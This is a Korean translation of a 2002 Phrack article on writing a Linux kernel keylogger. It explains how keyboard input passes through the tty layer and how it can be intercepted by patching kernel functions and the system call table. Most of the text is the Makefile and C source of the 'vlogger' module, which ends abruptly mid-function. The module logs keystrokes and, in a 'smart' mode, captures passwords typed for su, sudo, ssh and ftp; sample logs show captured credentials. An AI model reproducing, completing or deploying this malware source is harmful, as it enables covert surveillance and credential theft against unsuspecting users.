/************************************************************************************/
제목: Linux Kernel Keylogger
번역: OverHead Team at Wowhacker Zenky(zenky77@hananet.net)
rd 가 외국인이다 보니, 영어가 서툴군요 ^^; 고생 좀 했습니다.
참고: 이 글을 읽기 전에 Phrack 50 - 5 와 'Kernel Based Keylogger'
(http://www.phreedom.org/article.php?id=28) 를 읽어보시길 추천합니다.
* 오역 및 오타가 있으면 지적해주시기 바랍니다. *
/************************************************************************************/
==Phrack Inc.==
Volume 0x0b, Issue 0x3b, Phile #0x0e of 0x12
|=--------------------=[ 리눅스 커널 키 로그 작성하기 ]=--------------------=|
|=---------------------------------------------------------------------------=|
|=--------------------=[ rd <rd@thehackerschoice.com> ]=---------------------=|
|=--------------------------=[ June 19th, 2002 ]=----------------------------=|
--[ 차례
1 - 서론
2 - 리눅스 키보드 driver 가 어떻게 수행되는가?
3 - 커널 기반의 키로거로의 접근
3.1 - 인터럽트 핸들러
3.2 ? 함수 전달 값 훔치기
3.2.1 - handle_scancode
3.2.2 - put_queue
3.2.3 - receive_buf
3.2.4 - tty_read
3.2.5 - sys_read/sys_write
4 - vlogger
4.1 ? 시스템 콜과 tty로의 접근
4.2 - 특징
4.3 - 어떻게 사용하는가?
5 - 감사의 글
6 ? 참고문헌
7 - Keylogger 소스
--[ 1 - 서론
이 문서는 두 부분으로 나뉘어 지는데, 첫 번째 부분은 리눅스 키보드 driver가 수행되는 과정을
설명해줍니다. 그리고 커널 기반의 키로거를 만드는 방법에 대해 이야기합니다. 이 부분은 커널 기
반의 키로거를 만들려고 하는 사람이나 (현재 리눅스 환경에서 지원되지 않고 있는) 키보드 driver
를 만들려는 사람에게 유용할겁니다. 또는 리눅스 키보드 driver의 많은 특징을 가져와 프로그래밍
을 하려는 사람에게 유용할겁니다.
두 번째 부분은 vlogger의 상세한 설명과 뛰어난 커널 기반의 키로거와 이 것을 어떻게 사용하는
가에 대해 설명할겁니다. 이 키로거는 흥미로운 코드로 white hat, black hat에 의한 honeypots 혹
은 시스템 공격에 널리 이용될 것입니다. 잘 알려진 키로거는 거의 사용자 영역 기반의 키로거
(like iob , uberkey , unixkeylogger ... )이지만, 커널 기반의 키로거 도 여럿 있습니다. 초창기
커널 기반 키로거는 halflife의 linspy로 Phrack 50-4 (%필자주% Phrack 50-5 인것 같군요^^;)에
서 소개되었고,내가 이 글을 쓰고 있던 최근에 mercenary가 'Kernel Based Keylogger'
(%필자주% http://www.phreedom.org/article.php?id=28) 라는 글에서 kkeyloger를 소개했습니다.
위의 커널 기반의 키로거의 공통된 방법은 sys_read 나 sys_write 라는 system 콜을 이용해서 사용
자가 key를 치는 것을 가로채서 log로 저장하는 인데, 이러한 접근 방법은 꽤 불안하고
sys_read(or sys_write)는 일반적인 읽기,쓰기 작업에서 쓰이는 것이기 때문에, 시스템 성능을 상
당히 떨어뜨린다 ; sys_read는 프로세서가 어떤 읽기 작업을 device(file, serial port나 키보드
같은 곳) 에서 얻으려 할 때 발생되는 것이다. vlogger에서 tty 버퍼처리 함수에서 키로그를 가져
올 좀더 현명한 방법을 채용했습니다.
이 reader는 Linux Loadable Kernel Module 의 정보를 소유 할 수 있도록 도와주며, 아래의 글
을 읽기 전에 [1],[2] 장의 글을 먼저 읽기를 추천합니다.
--[ 2 - 리눅스 키보드 driver 가 어떻게 수행되는가?
콘솔 키보드가 어떻게 사용자 입력을 처리 하는지를 아래와 같이 살펴봅시다 :
_____________ _________ _________
/ \ put_queue| |receive_buf| |tty_read
/handle_scancode\-------->|tty_queue|---------->|tty_ldisc|------->
\ / | | |buffer |
\_____________/ |_________| |_________|
_________ ____________
| |sys_read| |
--->|/dev/ttyX|------->|user process|
| | | |
|_________| |____________|
Figure 1
첫 번째로, 당신이 키보드에 키를 누를 때, 그 키보드는 키에 걸맞은 scancodes를 키보드 driver
에게 보낼 것이다. 단 한번의 키 클릭은 여섯 번의 scancodes까지 연속을 일으킬 수 있습니다.
%필자주% key press는 Key 를 누를 때, key release는 Key 를 놓을 때를 말합니다.
handle_scancode() 함수는 scancodes의 흐름을 분석하고 key press 나 key release 이벤트를 발생
시키며, kbd_translate() 함수를 이용해 translation-table 사용하는데, 각 키는 1-127 범위 안의
서로 다른 키코드 k를 제공합니다. 키보드를 누를 땐, 키코드 k가 생성되고, 키보드를 놓을 땐 키
코드 k+128 을 만들어 줍니다.
예를 들면, 키코드 a 는 30 이란 값을 가지는데,'a' key를 누르면 키코드 30을 생성하며, 키를
놓을 때에는 'a' 값은 키코드 158(128+ 30)을 생성하게 됩니다.
Next, 키코드 s는 키맵에 있는 적당한 문자로 변환됩니다. 이런 일련의 과정은 좀 복잡한 한데,
키보드 의 8개의 옵션 키( shift keys - Shift, AltGr, Control, Alt,ShiftL, ShiftR, CtrlL and
CtrlR )와 키코드의 숫자 값과 결합되어서 키맵에 따라 글자가 결정됩니다.
이런 수행의 결과로, 문자를 포함하는 값은 tty queue에 올려져 tty_flip_buffer에
저장됩니다.
tty line 의 통제 방법은, receive_buf ( ) 함수를 주기적으로 호출해서 문자를 tty_flip_buffer로
부터 가져와 tty의 read queue 넣는 것 방식입니다.
user process 가 사용자의 입력을 요구할 때, read() 함수를 호출해서 stdin(표준입력) 프로세서
를 이용합니다. sys_read() 함수는 read() 함수를 호출해서 file_operation 구조로 되어있는
tty(ex /dev/tty0)의 입력 문자와 return process값을 비교해서(어떤 것이 tty_read를 가리키는지)
를 알아냅니다.
키보드 driver는 4가지 모드를 선택할 수 있습니다.:
- scancode (RAW MODE): 입력 받은 값의 scancode 프로그램이 획득하는 방식으로,
키보드 driver의 값을 이어받아서 프로그램에 사용합니다. (ex :X11)
- 키코드 (MEDIUMRAW MODE): key press 와 key relesed의 (키코드 id를 받아)
그 정보를 프로그램에서 이용합니다.
- ASCII (XLATE MODE):키맵에서 효율적으로 정의된 8-bit 인 코딩(8bit ASCII 지칭)
된 문자를 프로그램에 이용합니다.
- 유니코드 (UNICODE MODE): ASCII방식과의 단 한가지 차이점은 아스키는 Ascii 0
에서 Ascii 9를 이용해 UTF8 유니코드 문자를 10진법으로 전달하지만, 유니코드는
Hex 0 에서 Hex 9 까지를 이용해 16진수(4-digit)표현을 해서 전달한다는 점이다.
키맵에선 UTF8 sequence (U+XXXX의 모조 문자를 포함하며, X는 16진수를
의미)를 설정할 수 있게 합니다.
프로그램에 따라 어떤 데이터 type을 쓸 것인지 영향을 끼칩니다. scancode, 키코드
그리고 키맵 s에 더 많은 상세한 설명을 위해서 꼭 [3]을 읽어주세요.
--[ 3 - 커널 기반의 키로거로의 접근
커널 기반의 keylogger에선 키보드의 쓰기 인터럽트 핸들러의 권한을 가지거나 키보드 입력 함수
의 값을 훔치는 것 이 두 가지 방법이 있습니다.
----[ 3.1 - 인터럽트 핸들러
키보드를 칠 때, 우리는 키보드 인터럽트 핸들러를 사용할 수 있게 되며, 인텔 아키텍처에선 키
보드 컨트롤러 IRQ는 1번입니다. 키보드 인터럽트를 받았을 때, 키보드 핸들러는 scancode를 읽어
서 키보드 상태를 파악하고, 키보드 이벤트는 0x60(키보드 data register ) port와 0x64 ( 키보드
status register ) 를 경유해서 이용해서 데이터를 읽고 씁니다.
/*이 코드는 인텔 아키텍처의 특성입니다 * /
#define 키보드_IRQ 1
#define KBD_STATUS_REG 0x64
#define KBD_CNTL_REG 0x64
#define KBD_DATA_REG 0x60
#define kbd_read_input() inb(KBD_DATA_REG)
#define kbd_read_status() inb(KBD_STATUS_REG)
#define kbd_write_output(val) outb(val, KBD_DATA_REG)
#define kbd_write_command(val) outb(val, KBD_CNTL_REG)
/* 레지스터에 사용할 IRQ를 설정합니다. */
request_irq(키보드_IRQ, my_키보드_irq_핸들러, 0, "my 키보드", NULL);
In my_키보드_irq_핸들러():
scancode = kbd_read_input();
key_status = kbd_read_status();
log_scancode(scancode);
이런 방식은 플랫폼 의존적입니다. 그래서 여러 플랫폼에 이식하기 쉽지 않을
겁니다. 그리고, Linux box를 망치고 싶지 않다면, 인터럽트 핸들러를 만질 때
조심해서 다뤄야 될 겁니다 ;)
----[ 3.2 - 함수 전달 값 훔치기
Figure 1에 기반에서 ,우리는 keylogger가 사용자의 입력을 handle_scancode( ),
put_queue( ), receive_buf( ), tty_read( ) 그리고 sys_read() 함수를 통해 hijacking 할 수 있는
권한 가질 수 있는 방법을 알게 되었지만, tty_insert_flip_char() 함수 는INLINE 함수 이기 때문
에 문자를 가로챌 수 없다는 것을 인지해야 될 것 입니다.
------[ 3.2.1 - handle_scancode
이건 키보드 driver 에 대한 목록이다.(키보드.c 참고) 키보드로부터
입력 받은 scancode에 의해 handling 됩니다.
# /usr/src/linux/drives/char/키보드.c
void handle_scancode(unsigned char scancode, int down);
우리는 원래의 hadle_scancode() 함수를 우리 소유의 모든 scancode의 로그와
바꿀 수 있습니다. 그러나, handle_scancode( )는 전역변수를 가지고 있지않고,
함수가 export 되어있지 않습니다. 그렇기 때문에, Silvio가 소개한 kernel function
hijacking 테크닉을 이용해보겠습니다.(section [5] 참조)
/* 아래 code 는 snippet는 Plasmoid 가 쓴 것입니다.*/
static struct semaphore hs_sem, log_sem;
static int logging=1;
#define CODESIZE 7
static char hs_code[CODESIZE];
static char hs_jump[CODESIZE] =
"\xb8\x00\x00\x00\x00" /* movl $0,%eax */
"\xff\xe0" /* jmp *%eax */
;
void (*handle_scancode) (unsigned char, int) =
(void (*)(unsigned char, int)) HS_ADDRESS;
void _handle_scancode(unsigned char scancode, int keydown)
{
if (logging && keydown)
log_scancode(scancode, LOGFILE);
/*
* 원래 handle_scancode 코드의 첫 번째 바이트를 복구시키시오. 복구된 함수
* 를 호출하고,복구전의 jump 코드를 호출하시오. hs_sem 코드는 세마포어에
* 의해 보호되고 있습니다. 우리는 하나의 CPU 만이 동작하는걸 원합니다.
*/
down(&hs_sem);
memcpy(handle_scancode, hs_code, CODESIZE);
handle_scancode(scancode, keydown);
memcpy(handle_scancode, hs_jump, CODESIZE);
up(&hs_sem);
}
HS_ADDRESS is set by the Makefile executing this command
HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))
3.1과 비슷한 방법을 이용했으며, 이 방법은 tty가 호출됐건 안됐건 상관없이,
X 윈도우상의 console에서 키를 칠 때의 log 를 저장할 수 있다는 장점을 가지고 있습니다.
그리고, 정확히 키보드에서 어떤 키( Control , Alt , Shift , Print Screen 등의
특수키도 포함)를 눌렀는지도 알 수 있을것입니다. 그러나, 이 방법은 플랫폼 지향적이라서
다른 종류의 플랫폼에서 사용하긴 힘들 것입니다. 이 방법은 또한 remote session에선
꽤 복잡하기 때문에, 고성능의 logger 가 아니면 keystroke를 log 하는 게 힘들 것입니다.
------[ 3.2.2 - put_queue
이 함수는 handle_scancode ( ) 호출해서 tty_queue에 문자를 전송합니다.
# /usr/src/linux/drives/char/키보드.c
void put_queue(int ch);
이 함수에 인터셉트하기 위해선 3.2.1 장의 테크닉을 이용하면 될 것입니다.
------[ 3.2.3 - receive_buf
receive_buf( ) 함수는 저 레벨의 tty driver를 호출하여 하드웨어 라인을 통제
하며 문자를 전송합니다.
# /usr/src/linux/drivers/char/n_tty.c */
static void n_tty_receive_buf(struct tty_struct *tty, const
unsigned char *cp, char *fp, int count)
cp는 버퍼의 입력 문자를 디바이스로부터 받아 전달하는 역할을 합니다.
fp는 flag 바이트(%역자주: flag 비트)를 이용하여 어떤 지점에서 어떤 지점으로
문자를 전달하며, 오류정정 등을 하는 코드를 포함한다.
자 이제 tty 구조에 대해 더 깊게 조사해봅시다.
# /usr/include/linux/tty.h
struct tty_struct {
Int magic;
struct tty_driver driver;
struct tty_ldisc ldisc;
struct termios *termios, *termios_locked;
...
}
# /usr/include/linux/tty_ldisc.h
struct tty_ldisc {
int magic;
char *name;
...
void (*receive_buf)(struct tty_struct *,
const unsigned char *cp, char *fp, int count);
int (*receive_room)(struct tty_struct *);
void (*write_wakeup)(struct tty_struct *);
};
이 함수의 인터셉트에서, receive_buf() 함수를 이용하여 원래 값을 저장하며,
ldisc.receive_buf을 설정하여 new_receive_buf() 함수에게 사용자의 입력 값을
저장하도록 명령할 수 있습니다.
Ex:tty0 의 키로그 를 들자면 아래와 같습니다. :
int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
struct tty_struct *tty = file->private_data;
old_receive_buf = tty->ldisc.receive_buf;
tty->ldisc.receive_buf = new_receive_buf;
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
char *fp, int count)
{
logging(tty, cp, count); //로그 입력
/* 기존의 receive_buf 호출*/
(*old_receive_buf)(tty, cp, fp, count);
}
------[ 3.2.4 - tty_read
이 함수는 프로세서가 문자를 읽기 원할 때 호출 되는 것 으로 sys_read()함수를
이용해서 tty의 값의 문자를 가져옵니다.
# /usr/src/linux/drives/char/tty_io.c
static ssize_t tty_read(struct file * file, char * buf, size_t count,
loff_t *ppos)
static struct file_operations tty_fops = {
llseek: tty_lseek,
read: tty_read,
write: tty_write,
poll: tty_poll,
ioctl: tty_ioctl,
open: tty_open,
release: tty_release,
fasync: tty_fasync,
};
To log inputs on the tty0:
int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
old_tty_read = file->f_op->read;
file->f_op->read = new_tty_read;
------[ 3.2.5 - sys_read/sys_write
우리는 read/write 호출의 내용을 로그 하는 우리 자신의 코드에 그 방향을 고치기 위해
sys_read/sys_write 시스템 호출을 도중 가져올 것 입니다. 이 방법은 Phrack 50-4 (%필자주%
Phrack 50-5 인 것 같군요^^;) halflife 가 지은 글에서 처음 대두 되었으며, pragmatic 가[2]
sector에서 적은 Complete Linux Loadable Kernel Modules"
(%필자주% http://packetstorm.decepticons.org/docs/hack/LKM_HACKING.html)
란 글을 읽어 보길 바랍니다.
intercept sys_read/sys_write의 코드는 이와 같은 것입니다:
extern void *sys_call_table[];
original_sys_read = sys_call_table[__NR_read];
sys_call_table[__NR_read] = new_sys_read;
--[ 4 - vlogger
이 파트는 나의 kernel keylogger 스타일의 방식을 설명하는 섹션이며, 3.2.3 의
sys_read/sys_write 시스템 콜을 이 keylogger에선 좀더 일반적으로 접근하고 있습니다. 난 이 코
드를 커널 2.4.5 , 2.4.7, 2.4.17 그리고 2.4.18 에서 테스트 하였습니다.
----[ 4.1 - 시스템 콜과 tty로의 접근
local(console login)과 remote 접속에 로그인 해서 난 receive_buf()함수의 값을
가로채는 방법을 선택했습니다.(참조 : 3.2.3)
커널 안에 , tty 구조와 tty_queue 구조는 tty가 사용될때(open tty 될때) 동적으로 할당되었다.
그리하여, tty와 pty가 호출될때 sys_open syscall 인터셉터를 동적으로 hooking 해서
receive_buf ( ) 함수를 이용합니다.
// 인터셉트로 System call 호출
original_sys_open = sys_call_table[__NR_open];
sys_call_table[__NR_open] = new_sys_open;
// new_sys_open()
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
...
// original_sys_open 호출
ret = (*original_sys_open)(filename, flags, mode);
if (ret >= 0) {
struct tty_struct * tty;
...
file = fget(ret);
tty = file->private_data;
if (tty != NULL &&
...
tty->ldisc.receive_buf != new_receive_buf) {
...
// old receive_buf 저장
old_receive_buf = tty->ldisc.receive_buf;
...
/*
* init to intercept receive_buf of this tty
* tty->ldisc.receive_buf = new_receive_buf;
*/
init_tty(tty, TTY_INDEX(tty));
}
...
}
// our new receive_buf() function
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
char *fp, int count)
{
if (!tty->real_raw && !tty->raw) // raw 모드 무시
// 로그인 한 사용자의 키보드 입력값을 저장할 함수 호출
vlogger_process(tty, cp, count);
// 기존 receive_buf 호출
(*old_receive_buf)(tty, cp, fp, count);
}
----[ 4.2 - 특징
- local과 remote 두 접속방법에서 모두 키로그를 저장합니다.(tty 경유 혹은 pts)
- 각각의 tty와 세션으로 logging이 분리됩니다. 각 tty는 logger buffer를
가지고 있습니다.
- 방향키( left, right, up, down ), F1 to F12, Shift+F1 to Shift+F12, Tab,
Insert, Delete, End, Home, Page Up, Page Down, BackSpace, ... 등 모든
특수키를 지원합니다.
- CTRL - U 와 BackSpace 와 같은 line editing을 지원합니다.
- (libc등 으로 부터 데이터를 가져와서 ) 표준 시간대를 지원하며 이를 이용하여 Logging
시간 을 저장해줍니다.
- 다중 로깅 모드
o Dumb 모드 : 키를 누르는 모든 동작을 기록합니다.
o Smart 모드 : 패스워드입력시 자동으로 user id 와 패스워드를 저장해줍니다.
Solar Designer and Dug Song[6] 가 적은 "Passive Analysis of SSH
(Secure Shell) Traffic " 이란 글에서 쓴 방법과 유사한 방법을 썼는데,
프로그램에서 에코기능(키를 눌렀을 때, 그 문자가 console에 쳐 지는 것을 말함)을 꺼
버린
것을 패스워드가 입력 될 것이라고 생각하는 겁니다.
o Normal 모드 : 키 로그 기록을 끕니다.
패스워드를 지정해서 로깅 모드를 켰다 껐다 하기
#define VK_TOGLE_CHAR 29 // CTRL-]
#define MAGIC_PASS "31337" // 모드 조절할 때, PASS 키 Type 설정
(%역자주%) ex> 31337 을 친 상태에서 CTRL - ] 를 치면 모드가 변화합니다 :)
----[ 4.3 - 어떻게 사용하는가?
아래와 같이 옵션을 바꾸어 주십시오.
// log 파일이 저장되는 디렉토리 정하기
#define LOG_DIR "/tmp/log"
//사는 곳의 시간대를 지정하기 %역자주% 한국은 GMT+9 이라는 아시죠 : )
#define TIMEZONE 7*60*60 // GMT+7
// Magic Pass 정하기
#define MAGIC_PASS "31337"
아래와 같이 하면 log file 을 볼 수 있을 겁니다.
[root@localhost log]# ls -l
total 60
-rw------- 1 root root 633 Jun 19 20:59 pass.log
-rw------- 1 root root 37593 Jun 19 18:51 pts11
-rw------- 1 root root 56 Jun 19 19:00 pts20
-rw------- 1 root root 746 Jun 19 20:06 pts26
-rw------- 1 root root 116 Jun 19 19:57 pts29
-rw------- 1 root root 3219 Jun 19 21:30 tty1
-rw------- 1 root root 18028 Jun 19 20:54 tty2
---in dumb 모드
[root@localhost log]# head tty2 // 로컬 접속
<19/06/2002-20:53:47 uid=501 bash> pwd
<19/06/2002-20:53:51 uid=501 bash> uname -a
<19/06/2002-20:53:53 uid=501 bash> lsmod
<19/06/2002-20:53:56 uid=501 bash> pwd
<19/06/2002-20:54:05 uid=501 bash> cd /var/log
<19/06/2002-20:54:13 uid=501 bash> tail messages
<19/06/2002-20:54:21 uid=501 bash> cd ~
<19/06/2002-20:54:22 uid=501 bash> ls
<19/06/2002-20:54:29 uid=501 bash> tty
<19/06/2002-20:54:29 uid=501 bash> [UP]
[root@localhost log]# tail pts11 // 원격 접속
<19/06/2002-18:48:27 uid=0 bash> cd new
<19/06/2002-18:48:28 uid=0 bash> cp -p ~/code .
<19/06/2002-18:48:21 uid=0 bash> lsmod
<19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/
<19/06/2002-18:48:28 uid=0 bash> ls -l
<19/06/2002-18:48:30 uid=0 bash> tail pts11
<19/06/2002-18:48:38 uid=0 bash> [UP] | more
<19/06/2002-18:50:44 uid=0 bash> vi vlogertxt
<19/06/2002-18:50:48 uid=0 vi> :q
<19/06/2002-18:51:14 uid=0 bash> rmmod vlogger
--- smart 모드
[root@localhost log]# cat pass.log
[19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
USER/CMD sudo traceroute yahoo.com
PASS 5hgt6d
PASS
[19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
USER/CMD ssh guest@host.com
PASS guest
[19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
USER/CMD open ftp.ilog.fr
USER Anonymous
PASS heh@heh
[19/06/2002-20:59:54 tty=pts/29 uid=504 su]
USER/CMD su -
PASS asdf1234
이 툴에 관한 새로운 정보가 http://www.thehackerschoice.com/ 에 Update 되었는지
꼭 확인해 주세요. (%역자주% 사이트 광고하는거 같애 ㅡㅡ;; )
--[ 5 ? 감사의 글
plasmoild, skyper 와 아주 유익한 comment를 해주신 THC, vnsecurity와 모든 친구
들 에게 감사드리며, 적절한 영어로 수정해주신 mr.thang 에게 감사의 말씀을 드립니다.
(%역자주% 부적절하게 번역해준 나한테는 감사 안하낭 ㅡㅡ;;)
--[ 6 ? 참고문헌
[1] Linux Kernel Module Programming
http://www.tldp.org/LDP/lkmpg/
[2] Complete Linux Loadable Kernel Modules - Pragmatic
http://www.thehackerschoice.com/papers/LKM_HACKING.html
[3] The Linux 키보드 driver - Andries Brouwer
http://www.linuxjournal.com/lj-issues/issue14/1080.html
[4] Abuse of the Linux Kernel for Fun and Profit - Halflife
http://www.phrack.com/phrack/50/P50-05
[5] Kernel function hijacking - Silvio Cesare
http://www.big.net.au/~silvio/kernel-hijack.txt
[6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer
http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt
[7] Kernel Based Keylogger - Mercenary
http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt
--[ 7 ? Keylogger 소스
<++> vlogger/Makefile
#
# vlogger 1.0 by rd
#
# LOCAL_ONLY local logging only.
# sys_open system call때 인터셉트 하지 않음
# DEBUG 디버깅 가능 모드. 이 옵션을 켜면 시스템은 성능이 떨어질것입니다.
#
KERNELDIR =/usr/src/linux
include $(KERNELDIR)/.config
MODVERFILE = $(KERNELDIR)/include/linux/modversions.h
MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS
CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \
-Wstrict-prototypes -fomit-frame-pointer -pipe \
-fno-strength-reduce -malign-loops=2 -malign-jumps=2 \
-malign-functions=2
all : vlogger.o
vlogger.o: vlogger.c
$(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@
clean:
rm -f *.o
<-->
<++> vlogger/vlogger.c
/*
* vlogger 1.0
*
* Copyright (C) 2002 rd <rd@vnsecurity.net>
*
* Please check http://www.thehackerschoice.com/ for update
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* %역자주% GNU 라이센스죠 그래서 번역 안합니다 : )
* THC & vnsecurity 에 감사드립니다
*
*/
#define __KERNEL_SYSCALLS__
#include <linux/version.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/smp_lock.h>
#include <linux/sched.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/file.h>
#include <asm/uaccess.h>
#include <linux/proc_fs.h>
#include <asm/errno.h>
#include <asm/io.h>
#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
#endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9)
MODULE_LICENSE("GPL");
MODULE_AUTHOR("rd@vnsecurity.net");
#endif
#define MODULE_NAME "vlogger "
#define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n"
#ifdef DEBUG
#define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
#else
#define DPRINT(format, args...)
#endif
#define N_TTY_NAME "tty"
#define N_PTS_NAME "pts"
#define MAX_TTY_CON 8
#define MAX_PTS_CON 256
#define LOG_DIR "/tmp/log"
#define PASS_LOG LOG_DIR "/pass.log"
#define TIMEZONE 7*60*60 // GMT+7
#define ESC_CHAR 27
#define BACK_SPACE_CHAR1 127 // 로컬 접속시
#define BACK_SPACE_CHAR2 8 // 원격지 접속시
#define VK_TOGLE_CHAR 29 // CTRL-]
#define MAGIC_PASS "31337" // 모드 조절할 때, PASS 키 Type 설정
//(%역자주%) ex> 31337 을 친 상태에서 CTRL - ] 를 치면 모드가 변화합니다 :)
#define VK_NORMAL 0
#define VK_DUMBMODE 1
#define VK_SMARTMODE 2
#define DEFAULT_MODE VK_DUMBMODE
#define MAX_BUFFER 256
#define MAX_SPECIAL_CHAR_SZ 12
#define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start \
+ (tty)->driver.name_base
#define TTY_INDEX(tty) tty->driver.type == \
TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \
TTY_NUMBER(tty):TTY_NUMBER(tty)
#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
#define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, \
buf, count)
#define TTY_NAME(tty) (tty->driver.type == \
TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \
tty->driver.type == TTY_DRIVER_TYPE_PTY && \
tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")
#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }
extern void *sys_call_table[];
int errno;
struct tlogger {
struct tty_struct *tty;
char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];
int lastpos;
int status;
int pass;
};
struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
void (*old_receive_buf)(struct tty_struct *, const unsigned char *,
char *, int);
asmlinkage int (*original_sys_open)(const char *, int, int);
int vlogger_mode = DEFAULT_MODE;
/* 프로토타입 */
static inline void init_tty(struct tty_struct *, int);
/*
static char *_tty_make_name(struct tty_struct *tty,
const char *name, char *buf)
{
int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0;
if (!tty)
strcpy(buf, "NULL tty");
else
sprintf(buf, name,
idx + tty->driver.name_base);
return buf;
}
char *tty_name(struct tty_struct *tty, char *buf)
{
return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf);
}
*/
#define SECS_PER_HOUR (60 * 60)
#define SECS_PER_DAY (SECS_PER_HOUR * 24)
#define isleap(year) \
((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))
struct vtm {
int tm_sec;
int tm_min;
int tm_hour;
int tm_mday;
int tm_mon;
int tm_year;
};
/*
* 연도에 따라 날짜 변화
*/
int epoch2time (const time_t *t, long int offset, struct vtm *tp)
{
static const unsigned short int mon_yday[2][13] = {
/* Normal years. */
{ 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
/* Leap years. */
{ 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
};
long int days, rem, y;
const unsigned short int *ip;
days = *t / SECS_PER_DAY;
rem = *t % SECS_PER_DAY;
rem += offset;
while (rem < 0) {
rem += SECS_PER_DAY;
--days;
}
while (rem >= SECS_PER_DAY) {
rem -= SECS_PER_DAY;
++days;
}
tp->tm_hour = rem / SECS_PER_HOUR;
rem %= SECS_PER_HOUR;
tp->tm_min = rem / 60;
tp->tm_sec = rem % 60;
y = 1970;
while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
long int yg = y + days / 365 - (days % 365 < 0);
days -= ((yg - y) * 365
+ LEAPS_THRU_END_OF (yg - 1)
- LEAPS_THRU_END_OF (y - 1));
y = yg;
}
tp->tm_year = y - 1900;
if (tp->tm_year != y - 1900)
return 0;
ip = mon_yday[isleap(y)];
for (y = 11; days < (long int) ip[y]; --y)
continue;
days -= ip[y];
tp->tm_mon = y;
tp->tm_mday = days + 1;
return 1;
}
/*
* 통상적인 시간과 날짜 가져오기
*/
void get_time (char *date_time)
{
struct timeval tv;
time_t t;
struct vtm tm;
do_gettimeofday(&tv);
t = (time_t)tv.tv_sec;
epoch2time(&t, TIMEZONE, &tm);
sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
tm.tm_sec);
}
/*
* pgrp id 으로 부터 작업(TASK) 구조 가져오기
*/
inline struct task_struct *get_task(pid_t pgrp)
{
struct task_struct *task = current;
do {
if (task->pgrp == pgrp) {
return task;
}
task = task->next_task;
} while (task != current);
return NULL;
}
#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
#define WRITABLE(f) (f->f_op && f->f_op->write)
int write_to_file(char *logfile, char *buf, int size)
{
int ret = 0;
struct file *f = NULL;
lock_kernel();
BEGIN_KMEM;
f = filp_open(logfile, O_CREAT|O_APPEND, 00600);
if (IS_ERR(f)) {
DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile);
ret = -1;
} else {
if (WRITABLE(f))
_write(f, buf, size);
else {
DPRINT("%s does not have a write method\n",
logfile);
ret = -1;
}
if ((ret = filp_close(f,NULL)))
DPRINT("Error %d closing %s\n", -ret, logfile);
}
END_KMEM;
unlock_kernel();
return ret;
}
#define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0;
#define END_ROOT current->fsuid = saved_fsuid; }
/*
* 키 칠 때 로그
*/
void logging(struct tty_struct *tty, struct tlogger *tmp, int cont)
{
int i;
char logfile[256];
char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256];
char date_time[24];
struct task_struct *task;
if (vlogger_mode == VK_NORMAL)
return;
if ((vlogger_mode == VK_SMARTMODE) && (!tmp->lastpos || cont))
return;
task = get_task(tty->pgrp);
for (i=0; i<tmp->lastpos; i++)
if (tmp->buf[i] == 0x0D) tmp->buf[i] = 0x0A;
if (!cont)
tmp->buf[tmp->lastpos++] = 0x0A;
tmp->buf[tmp->lastpos] = 0;
if (vlogger_mode == VK_DUMBMODE) {
snprintf(logfile, sizeof(logfile)-1, "%s/%s%d",
LOG_DIR, TTY_NAME(tty), TTY_NUMBER(tty));
BEGIN_ROOT
if (!tmp->status) {
get_time(date_time);
if (task)
